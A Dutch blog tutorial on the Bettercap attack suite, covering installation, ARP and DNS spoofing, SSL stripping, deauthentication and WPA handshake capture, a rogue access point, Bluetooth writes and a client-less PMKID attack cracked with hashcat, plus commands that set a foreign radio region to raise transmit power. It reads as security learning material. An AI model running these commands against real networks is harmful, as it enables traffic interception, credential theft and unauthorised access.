Bettercap
WiFi Hacking is leuk. We hebben er al veel over geschreven en er zijn verschillende tools op de markt om je te helpen bij het hacken. Vandaag gaan we het echter hebben over een hele bijzondere tool namelijk “Bettercap”. Bettercap is bijzonder omdat het een tool is welke verschillende tools combineert in 1 suite. Al deze tools zijn vanuit de CLI te gebruiken en dat maakt Bettercap weer ideaal om te gebruiken op een unattended Raspberry Pi. Bettercap noemt zichzelf “het Zwitserse zakmes voor het hacken van WiFi”. Bettercap claimt een krachtig, gemakkelijk uitbreidbaar framework te zijn voor het hacken van WiFi. Nou, dat is interessant genoeg om even te bekijken toch?
Bettercap < 2.0 was geschreven in Ruby en had vele dependencies alvorens de tool kon functioneren. Daarnaast bood de tool slechts de basis MiTM, sniffing en proxy opties en kon het in sommige gevallen het hele doel-netwerk om zeep helpen. Bettercap > 2.0 is verkrijgbaar sinds februari 2018 en is volledig geschreven in de “Go” programmeertaal. Dit was een grote verbetering waardoor een systeem minder dependencies nodig had en Bettercap dus als een enkele binary gedistribueerd kon worden voor elk type OS en elke architectuur. Daarnaast zijn er sinds 2.0 vele verbeteringen aangebracht die de performance verbeteren en functioneel een stuk verder gaan.
Bettercap kan nu gebruikt worden voor vele verschillende attack vecors, denk aan:
- WiFi
- Bluetooth (low energy)
- MouseJacking (2.4 GHz)
Bettercap exploit deze attack vectors met o.a. de volgende tools:
- Netwerk scanning
- DeAuth aanvallen
- PMKID Association aanvallen (clientless)
- Automatische WPA / WPA2 handshake captures
- Spoofing (ARP, DNS, ICMP, NDP en DHCPc6)
- Proxies (op pakket niveau, TCP niveau en HTTP/HTTPS applicatie niveau)
- Snelle poortscanner
- HID frame injection (met DuckyScript support)
- Netwerk sniffer
- Netwerk protocol fuzzer
- SSL Stripper
Bettercap komt met een duidelijke web-based interface en kan overweg met zowel passive (geen verbonden gebruikers) als active (verbonden gebruikers) netwerken. Passive netwerken worden geëxploiteerd middels PMKID Association aanvallen. Omdat ik op mijn blog nog nooit uitgelegd heb hoe een PMKID Association aanval in zijn werk gaat wil ik deze eerst uitleggen alvorens we verdergaan met Bettercap.
PMKID Association Attacks
In 2018 onthulde de hashcat makers een nieuw type aanval welke slechts 1 pakket vereist en waarbij geen actief verbonden clients benodigd zijn. Deze aanval rust dus niet op het sturen van een DeAuth pakket om vervolgens de WPA handshake te kunnen capturen. Met een PMKID aanval is dus alleen interactie nodig tussen de aanvaller en het access point. Als het access point hier vatbaar voor is dan is het vrijwel onmogelijk om een PMKID aanval te blokkeren.
Deze aanval werkt op vele moderne router omdat deze een frame toevoegen aan het eind van het eerste EAPoL (Extensible Authentication Protocol over LAN) frame welke de AP verzend als wanneer iemand probeert zichzelf te associëren met het AP middels RSN (Robust Security Network). Veel routers sturen hierbij een PMKID frame mee. Deze ziet er als volgt uit:

Het PMKID frame is een afgeleide van de gegevens die op dat moment bekend zijn. Het PMKID frame is namelijk als volgt opgebouwd:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) |
“PMK Name” is een constante en we weten ook de BSSID van de router en die van de client. Door deze gezamenlijk te hashen ontstaat het PMK ID. De PMK is hetzelfde als wat verkregen wordt na een succesvolle 4-way handshake. Door het PMKID te achterhalen kunnen we middels hashcat het WiFi wachtwoord achterhalen.
Het is niet meer nodig om DeAuth pakketten te versturen. I.p.v. de DeAuth pakketten wordt er gebruik gemaakt van een ander type pakket, namelijk het “wifi.assoc” pakket. Ofwel… het WiFi associatie pakket. Het enige wat we dus moeten doen is “trachten te verbinden met het netwerk”.
In theorie is 1 associatie dus voldoende om het WiFi wachtwoord te achterhalen. Echter, dit werkt alleen maar indien de router het PMKID frame verzend!
PMKID is een zeer interessante aanvalsvector welke goed geïntegreerd zit in Bettercap.
Bettercap Installatie
Bettercap is duidelijk een veel geavanceerdere versie van het verouderde EtterCap. Daarom wordt het hoog tijd om zelf de mogelijkheden te gaan bekijken en om Bettercap te gaan installeren.
Om Bettercap te gaan installeren moet je beschikken over de volgende requirements:
- Netwerk Adapter welke Packet Injection kan uitvoeren
- Linux, Mac, Android, BSD of Windows systeem
- Up-to-date GO framework
- Libpcap
- Libusb 1.0-0
- Libnetfilter-queue (alleen op Linux)
Wij gaan Bettercap op Linux installeren. Wil je Bettercap op een andere distributie installeren kijk dan op de Bettercap installatiepagina https://www.bettercap.org/installation/ voor instructies.
Op Kali Linux is Bettercap al geïnstalleerd of kun je deze installeren middels:
apt-get install bettercap |
Voor een handmatige installatie moeten we de pre-compiled binary downloaden van: https://github.com/bettercap/bettercap/releases. We kiezen voor de “bettercap_linux_amd64” distributie.

Dit doen we als volgt:
wget https://github.com/bettercap/bettercap/releases/download/v2.26.1/bettercap_linux_amd64_v2.26.1.zip |
Dan pakken we de installatie uit, verplaatsen hem naar de “/usr/local/bin” folder, schonen de bestanden op en controleren de installatie:
unzip bettercap_linux_amd64_v2.26.1.zip sudo mv bettercap /usr/local/bin/ rm README.md LICENSE.md bettercap_linux_amd64_v2.26.1.zip bettercap -h |
We starten Bettercap via de terminal:
sudo bettercap |
Je ziet vervolgens de volgende prompt:

Het help commando toont de nodige interessante informatie:

En zoals deze ook aangeeft zijn de meeste modules momenteel inactief. Om meer informatie over een module te tonen gebruik je “help %module%”.

Zoals je ziet starten de commando’s per module met de naam van de module, dus:
- WiFi = wifi.
- Bluetooth LE = ble.
- HID = hid.
- Ethernet = net. & syn.
- WakeUp On Lan = wol.
- GPS = gps.
Dan heb je ook nog verschillende proxies en servers. Deze eindigen met het achtervoegsel “proxy” of “server”, bijvoorbeeld:
- .proxy = any.proxy, packet.proxy, tcp.proxy, http.proxy, https.proxy
- .server = http.server, https.server, mdns.server, mysql.server
- .etc
Er zit dus een logische opbouw in de commando’s. Om alle modules te bekijken gebruik je:
get * |
Om alle functies van een specifieke module te bekijken gebruik je:
get %modulenaam%.* |

En om Bettercap te verlaten gebruik je een van de volgende commando’s of de CTRL+C / CTRL+Z toetsencombinatie.
q
exit
quit |
Nu we dat voor elkaar hebben installeren we meteen maar even de Bettercap GUI (indien je dit niet fijn vindt kun je deze stap gewoon overslaan).
Verkrijg de URL van de nieuwste versie op: https://github.com/bettercap/ui/releases/tag/v1.3.0
apt-install bettercap-ui |
Navigeer naar de Bettercap UI directory:
cd /usr/share/bettercap/ui/ |
Download de nieuwste UI ZIP:
wget https://github.com/bettercap/ui/releases/download/v1.3.0/ui.zip |
Unzip het zip bestand in de ui directory:
unzip ui.zip -d /usr/share/bettercap/ui/ |
Start Bettercap met de UI:
sudo bettercap -caplet http-ui |
De webinterface start op:
http://127.0.0.1:80 |
Je kunt de webinterface ook over HTTPS starten. Gebruik dan:
sudo bettercap -caplet https-ui |
Of je start Bettercap en daarna de HTTP server en de Bettercap API:
sudo bettercap
http.server on
api.rest on |

De default credentials zijn:
Gebruikersnaam: user Wachtwoord: pass |

Je kunt nu Bettercap besturen vanaf de webinterface. Gedurende deze post zal ik echter gebruik maken van de CLI.
Werken met Bettercap
Zoals je zag zijn er een ton aan mogelijkheden met Bettercap. Het is niet mogelijk om elke optie hier uit te schrijven. Daarom zullen we een aantal basiszaken hier beschrijven. Wil je meer uit Bettercap halen raad ik je aan om ermee te gaan werken en experimenteren. Of … lees de handleiding (I know… dat doe ik ook nooit).
Basis commando’s
De start commando’s die belangrijk zijn om Bettercap te starten zijn de volgende:
- -autostart %modules% = Start Bettercap met de opgegeven modules
- -caplet %filename% = Voer de commando’s uit opgegeven script (caplet) uit
- -iface %interface% = Bind Bettercap aan een interface
- -gateway-override %gateway adres% = Gebruik een alternatieve gateway i.p.v. de default gateway
- -no history = Schakel de interactieve history file (~/.bettercap.history) uit
- -silent = Laat alleen error logs zien
- -debug = Zet debugging mode aan
- -eval = Laat kort de output zien
Dus als ik Bettercap wil starten op WLAN0 met de http-ui (webserver start) caplet zonder de history file aan te vullen en zonder logs te laten zien dan gebruik ik:
sudo bettercap -iface wlan0 -caplet http-ui -no-history -silent |
En om kort de help van een module te bekijken kun je de help kort bekijken middels de -eval parameter en vervolgens kun je Bettercap weer automatisch sluiten met het “q” commando. Je kunt dus meerdere Bettercap parameters (als Bettercap gestart is) combineren door ze te scheiden met een punt-komma:
sudo bettercap -eval "help wifi; q" |
Zodra Bettercap gestart is zijn dit de basis commando’s:
- %module% on/off = Schakel een module aan of uit
- active = Laat de actieve modules en hun instellingen zien
- sleep %seconden% = Schakelt Bettercap uit voor het aantal opgegeven seconden
- set %parameter% %waarde% = Stel de waarde in van een specifieke parameter
- !%command% = Voer een shell commando uit (b.v. !ifconfig)
- alias %MAC% %naam% = Geef een alias aan een MAC adres
- read %parameter% %prompt% = Vraag de gebruiker om input en voeg deze toe aan de parameters
- update.check on = Controleren op nieuwe updates en updaten indien nodig
- net.show = Laat de huidige netwerkinstellingen van Bettercap zien
Dus om een alias te geven aan een MAC adres:
alias BA:DA:DE:BA:2A:3B Jarno Telefoon |
Of om de gebruiker handmatig een target device in te laten vullen voor ARP spoofing:
read arp.spoof.targets "Selecteer een target om te spoofen: " |
Om vervolgens alle targets op te vragen kun je weer het “get” commando gebruiken:
get arp.spoof.targets |

Starten met juiste interface
Het is altijd raadzaam om Bettercap te starten met de juiste interface, zeker als je het WiFi gaan gebruiken om te sniffen en scannen. Daarnaast start ik hem ook altijd met de webinterface enabled:
sudo bettercap -iface wlan1 -caplet http-ui |
Sniffen van hosts ethernet
Om hosts te sniffen op de actieve interface gebruik je een net.probe module:
net.probe on |

In bovenstaande voorbeeld blijft Bettercap zoeken naar nieuwe hosts. We kunnen eventueel ook de “ticker” inschakelen. De ticker voert periodiek een aantal commando’s uit. Zonder deze te specificeren zijn dat:
- clear = ververs scherm
- net.show = laat netwerkinstellingen en ARP tabel zien
Door dus de ticker in te stellen blijft Bettercap op de achtergrond naar hosts zoeken en wordt op het scherm periodiek een mooi real-time overzicht getoond:
net.probe on ticker on |

We kunnen de tricker functie ook uitbreiden met een ping commando om te kijken of we met het WAN verbonden zijn:
ticker off set ticker.commands 'clear; net.show; !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected"' ticker on |

Om beide weer uit te schakelen gebruik je:
net.probe off ticker off |
MAC Changer
Bettercap maakt het mogelijk om je MAC adres te veranderen. Ga hiervoor als volgt te werk. Bekijk je interface:
ifconfig |
Noteer de naam van de interface (wlan1) en schakel hem uit:
ifconfig wlan1 down |
Schakel in Bettercap de MAC changer uit, koppel hem aan de interface en schakel de MAC changer weer aan:
mac.changer off
set mac.changer.iface wlan1
mac.changer on |
Tenslotte schakel je de interface weer up:
ifconfig wlan1 up |
En je MAC adres is veranderd.

Door de MAC changer weer uit te schakelen verander je je MAC adres weer terug naar default:
mac.changer off |
ARP Spoofing
Standaard kunnen we de ARP spoofer inschakelen om het gehele subnet te spoofen. Dit is echter nogal noisy en geen best practise. Je kunt beter een target kiezen om te spoofen. We selecteren dus eerst het target systeem en starten vervolgens de spoofer:
set arp.spoof.targets 192.168.178.99
arp.spoof on |

DNS Spoofing
DNS spoofing werkt op een soortgelijke manier als ARP spoofing. Standaard zal DNS spoofing alle domeinen spoofen (set dns.spoof.all true). Maar je kunt dit ook beperken tot een aantal domeinen, bijvoorbeeld:
set dns.spoof.domains hotmail.com, jarnobaselier.nl, xyz.nl
dns.spoof on |
Standaard zal de DNS spoofer het IP adres van de gekoppelde NIC gebruiken om de DNS adressen te spoofen. Je kunt hier een webserver op starten om eventueel een site op te hosten:
!systemctl start apache2 set http.server.path /pad/naar/folder http.server on |
Of je kunt de addressen ook binden aan een alternatief IP waar wellicht al een webserver op draait:
set dns.spoof.address %ip-adres% |
HTTP Proxy
Om HTTP verkeer te kunnen inspecteren is het ideaal om een HTTP proxy te starten. Verkeer komt langst Bettercap en kan hierdoor inzichtelijk gemaakt worden.
http.proxy on |
Alvorens je dit kunt doen moet uiteraard ARP spoofing actief zijn en moet de sniffer draaien. Om ook SSL verkeer te inspecteren kun je SSL Strip activeren.
set http.proxy.sslstrip true |
De volledige set aan commando’s om HTTP verkeer van een target te kunnen bekijken is dan:
set http.proxy.sslstrip true set net.sniff.verbose false set arp.spoof.targets 192.168.178.99 arp.spoof on http.proxy on net.sniff on |
BLE – Bluetooth Low Energy devices verkennen
Net zoals het ethernet en WiFi spectrum kun je ook het bluetooth spectrum verkennen met het commando:
ble.recon on |

Om vervolgens met een device te verbinden en te onderzoeken gebruik je zijn MAC adres:
ble.enum 46:F5:CC:D3:C4:78 |
En om vervolgens data te schrijven naar het bluetooth device gebruik je “ble.write” in samenwerking met het UUID en de data (bytes – ffffffffffffffff)
ble.write 46:F5:CC:D3:C4:78 234afbd5e3b34536a3fe72f43a22bd41 ffffffffffffffff
WiFi verkennen
Om WiFi te verkennen is het zaak je wireless netwerkkaart (bij voorkeur geschikt voor packet injection zoals de Alfa AWUS036NH) in monitor mode te plaatsen. Dit doe je als volgt:
airmon-ng check kill
airmon-ng start wlan1 |
Om later monitor mode uit te schakelen gebruik je:
airmon-ng stop wlan1mon systemctl daemon-reload dhclient wlan1 systemctl restart network-manager |
Als je WiFi in monitor mode staat start je Bettercap opnieuw:
sudo bettercap -iface wlan1mon -caplet http-ui |
En vervolgens kun je het WiFi spectrum scannen op access points en wireless clients:
wifi.recon on |

Uiteraard kun je ook slechts beperkte signalen scannen:
wifi.recon off wifi.recon.channel 3,6,9,11 wifi.recon on |
Maak de channel lijst eventueel later weer schoon met het commando:
wifi.recon.channel clear |
Wanneer je klaar bent met scannen genereer je een duidelijk overzicht met:
wifi.show |

Uiteraard kun je ook tussendoor een update krijgen van de status door de ticker in te stellen:
set ticker.commands 'clear; wifi.show; net.show; events.show 20' ticker on |
WPA Handshake capturen
Uiteraard kunnen we met Bettercap een handshake capturen. Om dit te doen gaan we als volgt te werk:
We stellen de netwerksniffer in op “verbose” zodat we al het verkeer voorbij zien komen. Vervolgens stellen we de filter in op 0x888e frames. Dit zijn de handshake frames. De output wordt weggeschreven naar een PCAP file. Daarna starten we de sniffer:
set net.sniff.verbose true set net.sniff.filter ether proto 0x888e set net.sniff.output /root/wpa.pcap net.sniff on |
Vervolgens ga ik de aanval starten door mijn wifi.recon op het juiste kanaal (10) te starten en het BSSID van mijn router te selecteren. Bettercap zal dit kanaal monitoren tot de handshake gecaptured en opgeslagen is in het PCAP bestand:
wifi.recon.channel 10
wifi.recon 9c:c7:a6:ba:2b:c1
wifi.recon on |
Om dit process te versnellen kunnen we DeAuth pakketten versturen naar de clients van het access point:
wifi.deauth 9c:c7:a6:ba:2b:c1 |
De logging laat zien wanneer de handshake gecaptured is:

Deze is vervolgens terug te vinden in het PCAP bestand:

Rogue Access Point
Bettercap maakt het zelfs mogelijk om je eigen rogue access point op te zetten (met en zonder encryptie). Een simpel voorbeeld:
set wifi.ap.ssid ValseWiFi set wifi.ap.bssid AB:B2:E1:BA:DE:AD set wifi.ap.channel 9 set wifi.ap.encryption true set wifi.region Netherlands set wifi.txpower 20 set wifi.show.manufacturer true wifi.recon on; wifi.ap |
Client-less PMKID Attack
En dit is waar ik de hele post naartoe wilde werken. De PMKID (Pairwise Master Key IDentifier) aanval. Zoals al gezegd hoeven we hiervoor helemaal geen clients te vervelen met DeAuth pakketten. Sterker nog… we hebben helemaal geen clients nodig.
Allereerst gaan we de “recon” inschakelen:
wifi.recon on |
Daarna gaan we de clients alfabetisch ordenen:
set wifi.show.sort clients desc |
Vervolgens gaan we het gewenste kanaal selecteren waarop we gaan luisteren.
wifi.recon.channel 10 |
En tenslotte gaan we ervoor zorgen dat we willen associeren met elke access point op channel 10.
wifi.assoc all |
Eventueel kunnen we een ticker instellen voor tijdige updates:
set ticker.commands "clear;wifi.show" ticker on |
Dus in zijn totaal:
wifi.recon on set wifi.show.sort clients desc set ticker.commands "clear;wifi.show" ticker on wifi.recon.channel 10 wifi.assoc all |

Mocht je tijdens dit alles de volgende melding krijgen “could not set interface wlan1mon txpower to 30, ‘Set Tx Power’ requests not supported” dan kun je het volgende uitvoeren om je adapter in te stellen op een land (BZ / GY / NZ / VE) welke 13 kanalen en 30.0dBm power accepteren:
#Schakel de netwerk adapter uit ifconfig wlan1mon down #Bekijk voor welke regio je adapter momenteel ingesteld is: sudo iw reg get #Stel de adapter in voor een geaccpteerd land met 30 dBm: sudo iw reg set BZ #Controleer de instelling: sudo iw reg get #Stel de nieuwe output power in: sudo iw dev wlan1mon set txpower fixed 30mBm #Zet de adapter weer aan: sudo ip link set wlan1mon up |
In Wireshark kunnen we de gevonden PMKID hashes terugvinden met het volgende displayfilter:
(eapol && wlan.rsn.ie.pmkid) |


Vervolgens gaan we ons PCAP bestand omzetten in een PMKID bestand waarin alle gevonden hashes vermeld worden:
hcxpcaptool -z /root/bettercap-wifi-handshakes.pmkid /root/bettercap-wifi-handshakes.pcap |

En dan gaan we het bestand proberen te kraken met hashcat:
hashcat -m 16800 bettercap-wifi-handshakes.pmkid -a 0 --kernel-accel=1 -w 4 --force 'passwordlist.txt' |
Conclusie
PMKID is een zeer effectieve methode om de wachtwoorden van unauthenticated netwerken te achterhalen zonder andere clients te DeAuthen. Uiteraard zijn er ook andere tools zoals WiFite (wifite –pmkid) die dit type aanval kunnen simuleren maar Bettercap werkt in mijn ervaring gewoon een stuk beter en is een stuk makkelijker te tweaken. En dat telt eigenlijk voor alles wat Bettercap doet. Bettercap is volledig te customizen, werkt intuïtief en heeft heel veel power onder de motorkap. Bettercap beperkt zich niet alleen tot WiFi maar kan ook prima overweg met ethernet en BLE. Wat mij betreft is Bettercap absoluut de opvolger van Ettercap, air%%%-ng en vele andere WiFi tools. Bettercap kost even wat meer tijd om te leren maar ik hoop dat deze post geholpen heeft om de basis te leggen zodat je snel up-and-running bent. Probeer het… Bettercap is simpelweg gewoon…. beter!
Ik heb deze post uiteraard weer met liefde geschreven. Dus… geef wat liefde terug! Deel mijn bericht op je Social Media en/of op je website en… if you like… geef ook ff een like! Super bedankt en tot de volgende!